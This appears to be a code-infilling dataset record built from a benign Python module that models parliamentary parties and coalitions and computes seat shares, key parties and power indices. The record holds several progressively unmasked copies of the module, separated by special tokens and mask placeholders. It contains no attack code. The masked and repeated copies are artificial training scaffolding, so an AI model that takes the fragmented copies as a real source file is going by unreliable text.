HoR'.format(other)) new = set(self._parties) - {other} elif isinstance(other, Coalition) and other.hor.same_as(self.hor): intercept = set(other) & set(self._parties) if not intercept: raise ValueError('{} are not present in HoR'.format(intercept)) new = set(self._parties) - set(other.parties) else: raise TypeError('Wrong type for {}'.format(other)) return self.__class__(self.hor, new) def has_key_party(self, party): if party not in self: return False else: opposition = self.opposition return self > opposition and self - party <= opposition + party def key_parties(self): return list(filter(self.has_key_party, self.parties)) def is_minimum_winning(self): return all(map(self.has_key_party, self.parties)) <|reserved_special_token_1|> <|reserved_special_token_0|> class HoR(object): <|reserved_special_token_0|> def __init__(self, parties, name='HoR'): self.name = name self._parties = tuple(sorted(parties, key=lambda p: (p.seats, p. votes), reverse=True)) self._party_mapping = {p.name: p for p in self._parties} def __getitem__(self, item): return self._party_mapping[item] @property def parties(self): return self._parties def seats_list(self): return [p.seats for p in self._parties] def votes_list(self): return [p.votes for p in self._parties] def names_list(self): return [p.name for p in self._parties] def vote_shares_list(self): v = self.votes return [(vi / v) for vi in self.votes_list()] def seat_shares_list(self): s = self.seats return [(si / s) for si in self.seats_list()] @property def seats(self): return sum(self.seats_list()) @property def votes(self): return sum(self.votes_list()) def top(self, n=1): return Coalition(self, self._parties[:n]) def as_coalition(self): return Coalition(self, self._parties) def __contains__(self, item): return item in self._parties def __iter__(self): return iter(self._parties) def iter_coalitions(self): for n in range(1, len(self)): for coalition in itertools.combinations(self._parties, n): yield Coalition(self, coalition) def __len__(self): return len(self._parties) def __hash__(self): return hash(self._parties) def same_as(self, hor): return self.parties == hor.parties def __eq__(self, other): return self.seats == other.seats def __gt__(self, other): return self.seats > other.seats def __ge__(self, other): return self.seats >= other.seats def __le__(self, other): return self.seats <= other.seats def __lt__(self, other): return self.seats < other.seats <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> def map_stat(self, stat): if stat in ('seats', 'votes'): return {party.name: getattr(party, stat) for party in self._parties } elif stat in (stats.bantsaf_influence, stats.shepli_shubic, stats. jonson_general, stats.jonson_influence, stats. digen_pakel_general, stats.digen_pakel_influence, stats.holer_pakel ): return {party.name: stat(self, party) for party in self._parties} elif stat not in ('bantsaf_influence', 'shepli_shubic', 'jonson_general', 'jonson_influence', 'digen_pakel_general', 'digen_pakel_influence', 'holer_pakel'): raise ValueError('Stat {} cannot be computed'.format(stat)) return {party.name: getattr(self, stat)(party) for party in self. _parties} class Coalition(HoR): def __init__(self, hor, parties, name='Coalition', *, _opposition=None): super().__init__(parties, name=name) self._hor = hor self._opposition = _opposition @property def opposition(self): if self._opposition is None: others = [p for p in self._hor if p not in self] self._opposition = Coalition(self._hor, others, _opposition=self) return self._opposition @property def hor(self): return self._hor def __add__(self, other): if isinstance(other, Party): if other in self: raise ValueError('{} is already present in HoR'.format(other)) new = self._parties + (other,) elif isinstance(other, Coalition) and other.hor.same_as(self.hor): intercept = set(other) & set(self._parties) if intercept: raise ValueError('{} are already present in HoR'.format( intercept)) new = self._parties + tuple(other) else: raise TypeError('Wrong type for {}'.format(other)) return self.__class__(self.hor, new) def __sub__(self, other): if isinstance(other, Party): if other not in self: raise ValueError('{} is not present in HoR'.format(other)) new = set(self._parties) - {other} elif isinstance(other, Coalition) and other.hor.same_as(self.hor): intercept = set(other) & set(self._parties) if not intercept: raise ValueError('{} are not present in HoR'.format(intercept)) new = set(self._parties) - set(other.parties) else: raise TypeError('Wrong type for {}'.format(other)) return self.__class__(self.hor, new) def has_key_party(self, party): if party not in self: return False else: opposition = self.opposition return self > opposition and self - party <= opposition + party def key_parties(self): return list(filter(self.has_key_party, self.parties)) def is_minimum_winning(self): return all(map(self.has_key_party, self.parties)) <|reserved_special_token_1|> <|reserved_special_token_0|> class HoR(object): """House of Representatives""" def __init__(self, parties, name='HoR'): self.name = name self._parties = tuple(sorted(parties, key=lambda p: (p.seats, p. votes), reverse=True)) self._party_mapping = {p.name: p for p in self._parties} def __getitem__(self, item): return self._party_mapping[item] @property def parties(self): return self._parties def seats_list(self): return [p.seats for p in self._parties] def votes_list(self): return [p.votes for p in self._parties] def names_list(self): return [p.name for p in self._parties] def vote_shares_list(self): v = self.votes return [(vi / v) for vi in self.votes_list()] def seat_shares_list(self): s = self.seats return [(si / s) for si in self.seats_list()] @property def seats(self): return sum(self.seats_list()) @property def votes(self): return sum(self.votes_list()) def top(self, n=1): return Coalition(self, self._parties[:n]) def as_coalition(self): return Coalition(self, self._parties) def __contains__(self, item): return item in self._parties def __iter__(self): return iter(self._parties) def iter_coalitions(self): for n in range(1, len(self)): for coalition in itertools.combinations(self._parties, n): yield Coalition(self, coalition) def __len__(self): return len(self._parties) def __hash__(self): return hash(self._parties) def same_as(self, hor): return self.parties == hor.parties def __eq__(self, other): return self.seats == other.seats def __gt__(self, other): return self.seats > other.seats def __ge__(self, other): return self.seats >= other.seats def __le__(self, other): return self.seats <= other.seats def __lt__(self, other): return self.seats < other.seats haar = stats.haar dev = stats.dev ens = stats.ens env = stats.env rrp = stats.rrp bantsaf_influence = stats.bantsaf_influence shepli_shubic = stats.shepli_shubic jonson_general = stats.jonson_general jonson_influence = stats.jonson_influence digen_pakel_general = stats.digen_pakel_general digen_pakel_influence = stats.digen_pakel_influence holer_pakel = stats.holer_pakel describe = stats.describe def map_stat(self, stat): if stat in ('seats', 'votes'): return {party.name: getattr(party, stat) for party in self._parties } elif stat in (stats.bantsaf_influence, stats.shepli_shubic, stats. jonson_general, stats.jonson_influence, stats. digen_pakel_general, stats.digen_pakel_influence, stats.holer_pakel ): return {party.name: stat(self, party) for party in self._parties} elif stat not in ('bantsaf_influence', 'shepli_shubic', 'jonson_general', 'jonson_influence', 'digen_pakel_general', 'digen_pakel_influence', 'holer_pakel'): raise ValueError('Stat {} cannot be computed'.format(stat)) return {party.name: getattr(self, stat)(party) for party in self. _parties} class Coalition(HoR): def __init__(self, hor, parties, name='Coalition', *, _opposition=None): super().__init__(parties, name=name) self._hor = hor self._opposition = _opposition @property def opposition(self): if self._opposition is None: others = [p for p in self._hor if p not in self] self._opposition = Coalition(self._hor, others, _opposition=self) return self._opposition @property def hor(self): return self._hor def __add__(self, other): if isinstance(other, Party): if other in self: raise ValueError('{} is already present in HoR'.format(other)) new = self._parties + (other,) elif isinstance(other, Coalition) and other.hor.same_as(self.hor): intercept = set(other) & set(self._parties) if intercept: raise ValueError('{} are already present in HoR'.format( intercept)) new = self._parties + tuple(other) else: raise TypeError('Wrong type for {}'.format(other)) return self.__class__(self.hor, new) def __sub__(self, other): if isinstance(other, Party): if other not in self: raise ValueError('{} is not present in HoR'.format(other)) new = set(self._parties) - {other} elif isinstance(other, Coalition) and other.hor.same_as(self.hor): intercept = set(other) & set(self._parties) if not intercept: raise ValueError('{} are not present in HoR'.format(intercept)) new = set(self._parties) - set(other.parties) else: raise TypeError('Wrong type for {}'.format(other)) return self.__class__(self.hor, new) def has_key_party(self, party): if party not in self: return False else: opposition = self.opposition return self > opposition and self - party <= opposition + party def key_parties(self): return list(filter(self.has_key_party, self.parties)) def is_minimum_winning(self): return all(map(self.has_key_party, self.parties)) <|reserved_special_token_1|> import collections import itertools from . import stats __all__ = [ 'Party', 'HoR', 'Coalition' ] Party = collections.namedtuple('Party', 'name,votes,seats') class HoR(object): """House of Representatives""" def __init__(self, parties, name='HoR'): self.name = name self._parties = tuple(sorted(parties, key=lambda p: (p.seats, p.votes), reverse=True)) self._party_mapping = {p.name: p for p in self._parties} def __getitem__(self, item): return self._party_mapping[item] @property def parties(self): return self._parties def seats_list(self): return [p.seats for p in self._parties] def votes_list(self): return [p.votes for p in self._parties] def names_list(self): return [p.name for p in self._parties] def vote_shares_list(self): v = self.votes return [vi / v for vi in self.votes_list()] def seat_shares_list(self): s = self.seats return [si / s for si in self.seats_list()] @property def seats(self): return sum(self.seats_list()) @property def votes(self): return sum(self.votes_list()) def top(self, n=1): return Coalition(self, self._parties[:n]) def as_coalition(self): return Coalition(self, self._parties) def __contains__(self, item): return item in self._parties def __iter__(self): return iter(self._parties) def iter_coalitions(self): for n in range(1, len(self)): for coalition in itertools.combinations(self._parties, n): yield Coalition(self, coalition) def __len__(self): return len(self._parties) def __hash__(self): return hash(self._parties) def same_as(self, hor): return self.parties == hor.parties def __eq__(self, other): return self.seats == other.seats def __gt__(self, other): return self.seats > other.seats def __ge__(self, other): return self.seats >= other.seats def __le__(self, other): return self.seats <= other.seats def __lt__(self, other): return self.seats < other.seats haar = stats.haar dev = stats.dev ens = stats.ens env = stats.env rrp = stats.rrp bantsaf_influence = stats.bantsaf_influence shepli_shubic = stats.shepli_shubic jonson_general = stats.jonson_general jonson_influence = stats.jonson_influence digen_pakel_general = stats.digen_pakel_general digen_pakel_influence = stats.digen_pakel_influence holer_pakel = stats.holer_pakel describe = stats.describe def map_stat(self, stat): if stat in ('seats', 'votes'): return {party.name: getattr(party, stat) for party in self._parties} elif stat in ( stats.bantsaf_influence, stats.shepli_shubic, stats.jonson_general, stats.jonson_influence, stats.digen_pakel_general, stats.digen_pakel_influence, stats.holer_pakel, ): return {party.name: stat(self, party) for party in self._parties} elif stat not in ( 'bantsaf_influence', 'shepli_shubic', 'jonson_general', 'jonson_influence', 'digen_pakel_general', 'digen_pakel_influence', 'holer_pakel', ): raise ValueError('Stat {} cannot be computed'.format(stat)) return {party.name: getattr(self, stat)(party) for party in self._parties} class Coalition(HoR): def __init__(self, hor, parties, name='Coalition', *, _opposition=None): super().__init__(parties, name=name) self._hor = hor self._opposition = _opposition @property def opposition(self): if self._opposition is None: others = [p for p in self._hor if p not in self] self._opposition = Coalition(self._hor, others, _opposition=self) return self._opposition @property def hor(self): return self._hor def __add__(self, other): if isinstance(other, Party): if other in self: raise ValueError('{} is already present in HoR'.format(other)) new = self._parties + (other, ) elif isinstance(other, Coalition) and other.hor.same_as(self.hor): intercept = set(other) & set(self._parties) if intercept: raise ValueError('{} are already present in HoR'.format(intercept)) new = self._parties + tuple(other) else: raise TypeError('Wrong type for {}'.format(other)) return self.__class__(self.hor, new) def __sub__(self, other): if isinstance(other, Party): if other not in self: raise ValueError('{} is not present in HoR'.format(other)) new = set(self._parties) - {other} elif isinstance(other, Coalition) and other.hor.same_as(self.hor): intercept = set(other) & set(self._parties) if not intercept: raise ValueError('{} are not present in HoR'.format(intercept)) new = set(self._parties) - set(other.parties) else: raise TypeError('Wrong type for {}'.format(other)) return self.__class__(self.hor, new) def has_key_party(self, party): if party not in self: return False else: opposition = self.opposition return ( (self > opposition) and ((self - party) <= (opposition + party)) ) def key_parties(self): return list(filter(self.has_key_party, self.parties)) def is_minimum_winning(self): return all(map(self.has_key_party, self.parties))
flexible
{ "blob_id": "4c927f14065d0557dbe7b371002e133c351d3478", "index": 6933, "step-1": "<mask token>\n\n\nclass HoR(object):\n <mask token>\n\n def __init__(self, parties, name='HoR'):\n self.name = name\n self._parties = tuple(sorted(parties, key=lambda p: (p.seats, p.\n votes), reverse=True))\n self._party_mapping = {p.name: p for p in self._parties}\n\n def __getitem__(self, item):\n return self._party_mapping[item]\n\n @property\n def parties(self):\n return self._parties\n\n def seats_list(self):\n return [p.seats for p in self._parties]\n\n def votes_list(self):\n return [p.votes for p in self._parties]\n\n def names_list(self):\n return [p.name for p in self._parties]\n\n def vote_shares_list(self):\n v = self.votes\n return [(vi / v) for vi in self.votes_list()]\n\n def seat_shares_list(self):\n s = self.seats\n return [(si / s) for si in self.seats_list()]\n\n @property\n def seats(self):\n return sum(self.seats_list())\n <mask token>\n\n def top(self, n=1):\n return Coalition(self, self._parties[:n])\n\n def as_coalition(self):\n return Coalition(self, self._parties)\n\n def __contains__(self, item):\n return item in self._parties\n\n def __iter__(self):\n return iter(self._parties)\n\n def iter_coalitions(self):\n for n in range(1, len(self)):\n for coalition in itertools.combinations(self._parties, n):\n yield Coalition(self, coalition)\n\n def __len__(self):\n return len(self._parties)\n <mask token>\n\n def same_as(self, hor):\n return self.parties == hor.parties\n\n def __eq__(self, other):\n return self.seats == other.seats\n\n def __gt__(self, other):\n return self.seats > other.seats\n\n def __ge__(self, other):\n return self.seats >= other.seats\n\n def __le__(self, other):\n return self.seats <= other.seats\n\n def __lt__(self, other):\n return self.seats < other.seats\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n\nclass Coalition(HoR):\n\n def __init__(self, hor, parties, name='Coalition', *, _opposition=None):\n super().__init__(parties, name=name)\n self._hor = hor\n self._opposition = _opposition\n\n @property\n def opposition(self):\n if self._opposition is None:\n others = [p for p in self._hor if p not in self]\n self._opposition = Coalition(self._hor, others, _opposition=self)\n return self._opposition\n\n @property\n def hor(self):\n return self._hor\n\n def __add__(self, other):\n if isinstance(other, Party):\n if other in self:\n raise ValueError('{} is already present in HoR'.format(other))\n new = self._parties + (other,)\n elif isinstance(other, Coalition) and other.hor.same_as(self.hor):\n intercept = set(other) & set(self._parties)\n if intercept:\n raise ValueError('{} are already present in HoR'.format(\n intercept))\n new = self._parties + tuple(other)\n else:\n raise TypeError('Wrong type for {}'.format(other))\n return self.__class__(self.hor, new)\n\n def __sub__(self, other):\n if isinstance(other, Party):\n if other not in self:\n raise ValueError('{} is not present in HoR'.format(other))\n new = set(self._parties) - {other}\n elif isinstance(other, Coalition) and other.hor.same_as(self.hor):\n intercept = set(other) & set(self._parties)\n if not intercept:\n raise ValueError('{} are not present in HoR'.format(intercept))\n new = set(self._parties) - set(other.parties)\n else:\n raise TypeError('Wrong type for {}'.format(other))\n return self.__class__(self.hor, new)\n\n def has_key_party(self, party):\n if party not in self:\n return False\n else:\n opposition = self.opposition\n return self > opposition and self - party <= opposition + party\n\n def key_parties(self):\n return list(filter(self.has_key_party, self.parties))\n\n def is_minimum_winning(self):\n return all(map(self.has_key_party, self.parties))\n", "step-2": "<mask token>\n\n\nclass HoR(object):\n <mask token>\n\n def __init__(self, parties, name='HoR'):\n self.name = name\n self._parties = tuple(sorted(parties, key=lambda p: (p.seats, p.\n votes), reverse=True))\n self._party_mapping = {p.name: p for p in self._parties}\n\n def __getitem__(self, item):\n return self._party_mapping[item]\n\n @property\n def parties(self):\n return self._parties\n\n def seats_list(self):\n return [p.seats for p in self._parties]\n\n def votes_list(self):\n return [p.votes for p in self._parties]\n\n def names_list(self):\n return [p.name for p in self._parties]\n\n def vote_shares_list(self):\n v = self.votes\n return [(vi / v) for vi in self.votes_list()]\n\n def seat_shares_list(self):\n s = self.seats\n return [(si / s) for si in self.seats_list()]\n\n @property\n def seats(self):\n return sum(self.seats_list())\n <mask token>\n\n def top(self, n=1):\n return Coalition(self, self._parties[:n])\n\n def as_coalition(self):\n return Coalition(self, self._parties)\n\n def __contains__(self, item):\n return item in self._parties\n\n def __iter__(self):\n return iter(self._parties)\n\n def iter_coalitions(self):\n for n in range(1, len(self)):\n for coalition in itertools.combinations(self._parties, n):\n yield Coalition(self, coalition)\n\n def __len__(self):\n return len(self._parties)\n\n def __hash__(self):\n return hash(self._parties)\n\n def same_as(self, hor):\n return self.parties == hor.parties\n\n def __eq__(self, other):\n return self.seats == other.seats\n\n def __gt__(self, other):\n return self.seats > other.seats\n\n def __ge__(self, other):\n return self.seats >= other.seats\n\n def __le__(self, other):\n return self.seats <= other.seats\n\n def __lt__(self, other):\n return self.seats < other.seats\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n\nclass Coalition(HoR):\n\n def __init__(self, hor, parties, name='Coalition', *, _opposition=None):\n super().__init__(parties, name=name)\n self._hor = hor\n self._opposition = _opposition\n\n @property\n def opposition(self):\n if self._opposition is None:\n others = [p for p in self._hor if p not in self]\n self._opposition = Coalition(self._hor, others, _opposition=self)\n return self._opposition\n\n @property\n def hor(self):\n return self._hor\n\n def __add__(self, other):\n if isinstance(other, Party):\n if other in self:\n raise ValueError('{} is already present in HoR'.format(other))\n new = self._parties + (other,)\n elif isinstance(other, Coalition) and other.hor.same_as(self.hor):\n intercept = set(other) & set(self._parties)\n if intercept:\n raise ValueError('{} are already present in HoR'.format(\n intercept))\n new = self._parties + tuple(other)\n else:\n raise TypeError('Wrong type for {}'.format(other))\n return self.__class__(self.hor, new)\n\n def __sub__(self, other):\n if isinstance(other, Party):\n if other not in self:\n raise ValueError('{} is not present in HoR'.format(other))\n new = set(self._parties) - {other}\n elif isinstance(other, Coalition) and other.hor.same_as(self.hor):\n intercept = set(other) & set(self._parties)\n if not intercept:\n raise ValueError('{} are not present in HoR'.format(intercept))\n new = set(self._parties) - set(other.parties)\n else:\n raise TypeError('Wrong type for {}'.format(other))\n return self.__class__(self.hor, new)\n\n def has_key_party(self, party):\n if party not in self:\n return False\n else:\n opposition = self.opposition\n return self > opposition and self - party <= opposition + party\n\n def key_parties(self):\n return list(filter(self.has_key_party, self.parties))\n\n def is_minimum_winning(self):\n return all(map(self.has_key_party, self.parties))\n", "step-3": "<mask token>\n\n\nclass HoR(object):\n <mask token>\n\n def __init__(self, parties, name='HoR'):\n self.name = name\n self._parties = tuple(sorted(parties, key=lambda p: (p.seats, p.\n votes), reverse=True))\n self._party_mapping = {p.name: p for p in self._parties}\n\n def __getitem__(self, item):\n return self._party_mapping[item]\n\n @property\n def parties(self):\n return self._parties\n\n def seats_list(self):\n return [p.seats for p in self._parties]\n\n def votes_list(self):\n return [p.votes for p in self._parties]\n\n def names_list(self):\n return [p.name for p in self._parties]\n\n def vote_shares_list(self):\n v = self.votes\n return [(vi / v) for vi in self.votes_list()]\n\n def seat_shares_list(self):\n s = self.seats\n return [(si / s) for si in self.seats_list()]\n\n @property\n def seats(self):\n return sum(self.seats_list())\n\n @property\n def votes(self):\n return sum(self.votes_list())\n\n def top(self, n=1):\n return Coalition(self, self._parties[:n])\n\n def as_coalition(self):\n return Coalition(self, self._parties)\n\n def __contains__(self, item):\n return item in self._parties\n\n def __iter__(self):\n return iter(self._parties)\n\n def iter_coalitions(self):\n for n in range(1, len(self)):\n for coalition in itertools.combinations(self._parties, n):\n yield Coalition(self, coalition)\n\n def __len__(self):\n return len(self._parties)\n\n def __hash__(self):\n return hash(self._parties)\n\n def same_as(self, hor):\n return self.parties == hor.parties\n\n def __eq__(self, other):\n return self.seats == other.seats\n\n def __gt__(self, other):\n return self.seats > other.seats\n\n def __ge__(self, other):\n return self.seats >= other.seats\n\n def __le__(self, other):\n return self.seats <= other.seats\n\n def __lt__(self, other):\n return self.seats < other.seats\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def map_stat(self, stat):\n if stat in ('seats', 'votes'):\n return {party.name: getattr(party, stat) for party in self._parties\n }\n elif stat in (stats.bantsaf_influence, stats.shepli_shubic, stats.\n jonson_general, stats.jonson_influence, stats.\n digen_pakel_general, stats.digen_pakel_influence, stats.holer_pakel\n ):\n return {party.name: stat(self, party) for party in self._parties}\n elif stat not in ('bantsaf_influence', 'shepli_shubic',\n 'jonson_general', 'jonson_influence', 'digen_pakel_general',\n 'digen_pakel_influence', 'holer_pakel'):\n raise ValueError('Stat {} cannot be computed'.format(stat))\n return {party.name: getattr(self, stat)(party) for party in self.\n _parties}\n\n\nclass Coalition(HoR):\n\n def __init__(self, hor, parties, name='Coalition', *, _opposition=None):\n super().__init__(parties, name=name)\n self._hor = hor\n self._opposition = _opposition\n\n @property\n def opposition(self):\n if self._opposition is None:\n others = [p for p in self._hor if p not in self]\n self._opposition = Coalition(self._hor, others, _opposition=self)\n return self._opposition\n\n @property\n def hor(self):\n return self._hor\n\n def __add__(self, other):\n if isinstance(other, Party):\n if other in self:\n raise ValueError('{} is already present in HoR'.format(other))\n new = self._parties + (other,)\n elif isinstance(other, Coalition) and other.hor.same_as(self.hor):\n intercept = set(other) & set(self._parties)\n if intercept:\n raise ValueError('{} are already present in HoR'.format(\n intercept))\n new = self._parties + tuple(other)\n else:\n raise TypeError('Wrong type for {}'.format(other))\n return self.__class__(self.hor, new)\n\n def __sub__(self, other):\n if isinstance(other, Party):\n if other not in self:\n raise ValueError('{} is not present in HoR'.format(other))\n new = set(self._parties) - {other}\n elif isinstance(other, Coalition) and other.hor.same_as(self.hor):\n intercept = set(other) & set(self._parties)\n if not intercept:\n raise ValueError('{} are not present in HoR'.format(intercept))\n new = set(self._parties) - set(other.parties)\n else:\n raise TypeError('Wrong type for {}'.format(other))\n return self.__class__(self.hor, new)\n\n def has_key_party(self, party):\n if party not in self:\n return False\n else:\n opposition = self.opposition\n return self > opposition and self - party <= opposition + party\n\n def key_parties(self):\n return list(filter(self.has_key_party, self.parties))\n\n def is_minimum_winning(self):\n return all(map(self.has_key_party, self.parties))\n", "step-4": "<mask token>\n\n\nclass HoR(object):\n \"\"\"House of Representatives\"\"\"\n\n def __init__(self, parties, name='HoR'):\n self.name = name\n self._parties = tuple(sorted(parties, key=lambda p: (p.seats, p.\n votes), reverse=True))\n self._party_mapping = {p.name: p for p in self._parties}\n\n def __getitem__(self, item):\n return self._party_mapping[item]\n\n @property\n def parties(self):\n return self._parties\n\n def seats_list(self):\n return [p.seats for p in self._parties]\n\n def votes_list(self):\n return [p.votes for p in self._parties]\n\n def names_list(self):\n return [p.name for p in self._parties]\n\n def vote_shares_list(self):\n v = self.votes\n return [(vi / v) for vi in self.votes_list()]\n\n def seat_shares_list(self):\n s = self.seats\n return [(si / s) for si in self.seats_list()]\n\n @property\n def seats(self):\n return sum(self.seats_list())\n\n @property\n def votes(self):\n return sum(self.votes_list())\n\n def top(self, n=1):\n return Coalition(self, self._parties[:n])\n\n def as_coalition(self):\n return Coalition(self, self._parties)\n\n def __contains__(self, item):\n return item in self._parties\n\n def __iter__(self):\n return iter(self._parties)\n\n def iter_coalitions(self):\n for n in range(1, len(self)):\n for coalition in itertools.combinations(self._parties, n):\n yield Coalition(self, coalition)\n\n def __len__(self):\n return len(self._parties)\n\n def __hash__(self):\n return hash(self._parties)\n\n def same_as(self, hor):\n return self.parties == hor.parties\n\n def __eq__(self, other):\n return self.seats == other.seats\n\n def __gt__(self, other):\n return self.seats > other.seats\n\n def __ge__(self, other):\n return self.seats >= other.seats\n\n def __le__(self, other):\n return self.seats <= other.seats\n\n def __lt__(self, other):\n return self.seats < other.seats\n haar = stats.haar\n dev = stats.dev\n ens = stats.ens\n env = stats.env\n rrp = stats.rrp\n bantsaf_influence = stats.bantsaf_influence\n shepli_shubic = stats.shepli_shubic\n jonson_general = stats.jonson_general\n jonson_influence = stats.jonson_influence\n digen_pakel_general = stats.digen_pakel_general\n digen_pakel_influence = stats.digen_pakel_influence\n holer_pakel = stats.holer_pakel\n describe = stats.describe\n\n def map_stat(self, stat):\n if stat in ('seats', 'votes'):\n return {party.name: getattr(party, stat) for party in self._parties\n }\n elif stat in (stats.bantsaf_influence, stats.shepli_shubic, stats.\n jonson_general, stats.jonson_influence, stats.\n digen_pakel_general, stats.digen_pakel_influence, stats.holer_pakel\n ):\n return {party.name: stat(self, party) for party in self._parties}\n elif stat not in ('bantsaf_influence', 'shepli_shubic',\n 'jonson_general', 'jonson_influence', 'digen_pakel_general',\n 'digen_pakel_influence', 'holer_pakel'):\n raise ValueError('Stat {} cannot be computed'.format(stat))\n return {party.name: getattr(self, stat)(party) for party in self.\n _parties}\n\n\nclass Coalition(HoR):\n\n def __init__(self, hor, parties, name='Coalition', *, _opposition=None):\n super().__init__(parties, name=name)\n self._hor = hor\n self._opposition = _opposition\n\n @property\n def opposition(self):\n if self._opposition is None:\n others = [p for p in self._hor if p not in self]\n self._opposition = Coalition(self._hor, others, _opposition=self)\n return self._opposition\n\n @property\n def hor(self):\n return self._hor\n\n def __add__(self, other):\n if isinstance(other, Party):\n if other in self:\n raise ValueError('{} is already present in HoR'.format(other))\n new = self._parties + (other,)\n elif isinstance(other, Coalition) and other.hor.same_as(self.hor):\n intercept = set(other) & set(self._parties)\n if intercept:\n raise ValueError('{} are already present in HoR'.format(\n intercept))\n new = self._parties + tuple(other)\n else:\n raise TypeError('Wrong type for {}'.format(other))\n return self.__class__(self.hor, new)\n\n def __sub__(self, other):\n if isinstance(other, Party):\n if other not in self:\n raise ValueError('{} is not present in HoR'.format(other))\n new = set(self._parties) - {other}\n elif isinstance(other, Coalition) and other.hor.same_as(self.hor):\n intercept = set(other) & set(self._parties)\n if not intercept:\n raise ValueError('{} are not present in HoR'.format(intercept))\n new = set(self._parties) - set(other.parties)\n else:\n raise TypeError('Wrong type for {}'.format(other))\n return self.__class__(self.hor, new)\n\n def has_key_party(self, party):\n if party not in self:\n return False\n else:\n opposition = self.opposition\n return self > opposition and self - party <= opposition + party\n\n def key_parties(self):\n return list(filter(self.has_key_party, self.parties))\n\n def is_minimum_winning(self):\n return all(map(self.has_key_party, self.parties))\n", "step-5": "import collections\nimport itertools\nfrom . import stats\n\n__all__ = [\n 'Party',\n 'HoR',\n 'Coalition'\n]\n\nParty = collections.namedtuple('Party', 'name,votes,seats')\n\n\nclass HoR(object):\n \"\"\"House of Representatives\"\"\"\n\n def __init__(self, parties, name='HoR'):\n self.name = name\n self._parties = tuple(sorted(parties, key=lambda p: (p.seats, p.votes), reverse=True))\n self._party_mapping = {p.name: p for p in self._parties}\n\n def __getitem__(self, item):\n return self._party_mapping[item]\n\n @property\n def parties(self):\n return self._parties\n\n def seats_list(self):\n return [p.seats for p in self._parties]\n\n def votes_list(self):\n return [p.votes for p in self._parties]\n\n def names_list(self):\n return [p.name for p in self._parties]\n\n def vote_shares_list(self):\n v = self.votes\n return [vi / v for vi in self.votes_list()]\n\n def seat_shares_list(self):\n s = self.seats\n return [si / s for si in self.seats_list()]\n\n @property\n def seats(self):\n return sum(self.seats_list())\n\n @property\n def votes(self):\n return sum(self.votes_list())\n\n def top(self, n=1):\n return Coalition(self, self._parties[:n])\n\n def as_coalition(self):\n return Coalition(self, self._parties)\n\n def __contains__(self, item):\n return item in self._parties\n\n def __iter__(self):\n return iter(self._parties)\n\n def iter_coalitions(self):\n for n in range(1, len(self)):\n for coalition in itertools.combinations(self._parties, n):\n yield Coalition(self, coalition)\n\n def __len__(self):\n return len(self._parties)\n\n def __hash__(self):\n return hash(self._parties)\n\n def same_as(self, hor):\n return self.parties == hor.parties\n\n def __eq__(self, other):\n return self.seats == other.seats\n\n def __gt__(self, other):\n return self.seats > other.seats\n\n def __ge__(self, other):\n return self.seats >= other.seats\n\n def __le__(self, other):\n return self.seats <= other.seats\n\n def __lt__(self, other):\n return self.seats < other.seats\n\n haar = stats.haar\n dev = stats.dev\n ens = stats.ens\n env = stats.env\n rrp = stats.rrp\n bantsaf_influence = stats.bantsaf_influence\n shepli_shubic = stats.shepli_shubic\n jonson_general = stats.jonson_general\n jonson_influence = stats.jonson_influence\n digen_pakel_general = stats.digen_pakel_general\n digen_pakel_influence = stats.digen_pakel_influence\n holer_pakel = stats.holer_pakel\n describe = stats.describe\n\n def map_stat(self, stat):\n if stat in ('seats', 'votes'):\n return {party.name: getattr(party, stat)\n for party in self._parties}\n elif stat in (\n stats.bantsaf_influence,\n stats.shepli_shubic,\n stats.jonson_general,\n stats.jonson_influence,\n stats.digen_pakel_general,\n stats.digen_pakel_influence,\n stats.holer_pakel,\n ):\n return {party.name: stat(self, party)\n for party in self._parties}\n elif stat not in (\n 'bantsaf_influence',\n 'shepli_shubic',\n 'jonson_general',\n 'jonson_influence',\n 'digen_pakel_general',\n 'digen_pakel_influence',\n 'holer_pakel',\n ):\n raise ValueError('Stat {} cannot be computed'.format(stat))\n return {party.name: getattr(self, stat)(party)\n for party in self._parties}\n\n\nclass Coalition(HoR):\n def __init__(self, hor, parties, name='Coalition', *, _opposition=None):\n super().__init__(parties, name=name)\n self._hor = hor\n self._opposition = _opposition\n\n @property\n def opposition(self):\n if self._opposition is None:\n others = [p for p in self._hor if p not in self]\n self._opposition = Coalition(self._hor, others, _opposition=self)\n return self._opposition\n\n @property\n def hor(self):\n return self._hor\n\n def __add__(self, other):\n if isinstance(other, Party):\n if other in self:\n raise ValueError('{} is already present in HoR'.format(other))\n new = self._parties + (other, )\n elif isinstance(other, Coalition) and other.hor.same_as(self.hor):\n intercept = set(other) & set(self._parties)\n if intercept:\n raise ValueError('{} are already present in HoR'.format(intercept))\n new = self._parties + tuple(other)\n else:\n raise TypeError('Wrong type for {}'.format(other))\n return self.__class__(self.hor, new)\n\n def __sub__(self, other):\n if isinstance(other, Party):\n if other not in self:\n raise ValueError('{} is not present in HoR'.format(other))\n new = set(self._parties) - {other}\n elif isinstance(other, Coalition) and other.hor.same_as(self.hor):\n intercept = set(other) & set(self._parties)\n if not intercept:\n raise ValueError('{} are not present in HoR'.format(intercept))\n new = set(self._parties) - set(other.parties)\n else:\n raise TypeError('Wrong type for {}'.format(other))\n return self.__class__(self.hor, new)\n\n def has_key_party(self, party):\n if party not in self:\n return False\n else:\n opposition = self.opposition\n return (\n (self > opposition)\n and\n ((self - party) <= (opposition + party))\n )\n\n def key_parties(self):\n return list(filter(self.has_key_party, self.parties))\n\n def is_minimum_winning(self):\n return all(map(self.has_key_party, self.parties))\n\n", "step-ids": [ 31, 32, 34, 36, 39 ] }
[ 31, 32, 34, 36, 39 ]
